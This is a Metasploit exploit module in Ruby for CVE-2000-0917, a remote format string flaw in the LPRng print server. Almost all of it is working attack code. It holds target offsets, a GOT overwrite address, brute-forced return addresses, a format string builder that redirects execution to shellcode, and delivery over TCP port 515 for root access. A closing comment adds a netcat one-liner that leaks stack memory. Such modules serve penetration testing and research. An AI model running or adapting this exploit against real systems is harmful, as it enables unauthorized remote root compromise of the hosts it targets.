##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Brute
  include Msf::Exploit::FormatString

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LPRng use_syslog Remote Format String Vulnerability',
        'Description' => %q{
          This module exploits a format string vulnerability in the LPRng print server.
          This vulnerability was discovered by Chris Evans. There was a publicly
          circulating worm targeting this vulnerability, which prompted RedHat to pull
          their 7.0 release. They consequently re-released it as "7.0-respin".
        },
        'Author' => [ 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2000-0917' ],
          [ 'OSVDB', '421' ],
          [ 'BID', '1712' ],
          [ 'US-CERT-VU', '382365' ],
          [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
          [ 'EDB', '226' ],
          [ 'EDB', '227' ],
          [ 'EDB', '230' ]
        ],
        'Platform' => 'linux',
        'Arch' => ARCH_X86,
        'Privileged' => true, # root
        'DefaultOptions' => {
          'PrependSetresuid' => true
        },
        'Payload' => {
          'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt)
          'BadChars' => "\x00\x0a\x20\x25",
        },
        'Targets' => [
          # tested OK - jjd
          [
            'Caldera OpenLinux 2.3 Bruteforce',
            {
              'Platform' => 'linux',
              'NumPops' => 243,
              'FlowHook' => 0x80992d4, # GOT of exit
              # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xcffffff4 },
                  'Stop' => { 'Ret' => 0x7fffe004 },
                  'Step' => 16
                }
            }
          ],
=begin
          # untested (from public exploits)
          [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
            {
              'NumPops' 	=> 299,
              'Ret' 	   => 0xbffff640,
              'FlowHook'	=> 0xbfffee30
            }
          ],
          [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
            {
              'NumPops' 	=> 304,
              'Ret' 	   => 0xbffff920,
              'FlowHook'	=> 0xbffff0f0
            }
          ],
          [ 'RedHat 7.0 - Guinesss',
            {
              'NumPops' 	=> 300,
              'Ret' 	   => 0x41424344,
              'FlowHook'	=> 0xbffff3ec
            }
          ],
          [ 'RedHat 7.0 - Guinesss-dev',
            {
              'NumPops' 	=> 300,
              'Ret' 	   => 0x41424344,
              'FlowHook'	=> 0xbffff12c
            }
          ],
=end
          # ...
          [
            'Debug',
            {
              'NumPops' => 1, # sure to miss.
              'Ret' => 0x41424344,
              'FlowHook'	=> 0x45464748
            }
          ]
        ],
        # 'DefaultTarget' => 0,
        'DisclosureDate' => '2000-09-25',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
      )

    register_options([ Opt::RPORT(515) ])
  end

  def exploit
    # we want to use DPA for this one :)
    fmtstr_set_caps(false, true)

# check syslog to see which number hits 41414141
=begin
    400.times { |x|
      connect
      buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
      sock.put(buf)
      #handler
      disconnect
    }
=end
    print_status("Trying target #{target.name} ..")

    super
  end

  def brute_exploit(addrs)
    # print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

    printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
    num_start = printed.length + 2 + 4

    # write 'ret' addr to flowhook (execute shellcode)
    # NOTE: the resulting two writes must be done at the same time

    # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
    fmtbuf = "_" * 4
    fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
    # print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

    # append payload and newline
    # fmtbuf << payload.encoded
    fmtbuf << "\x90" * 32
    fmtbuf << Rex::Text.charset_exclude(payload_badchars)
    fmtbuf << "\n"

    print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

    connect
    # print_status("Sleeping, attach now!!")
    # select(nil,nil,nil,5)

    sock.put(fmtbuf)

    handler
    disconnect
  end
end

=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end
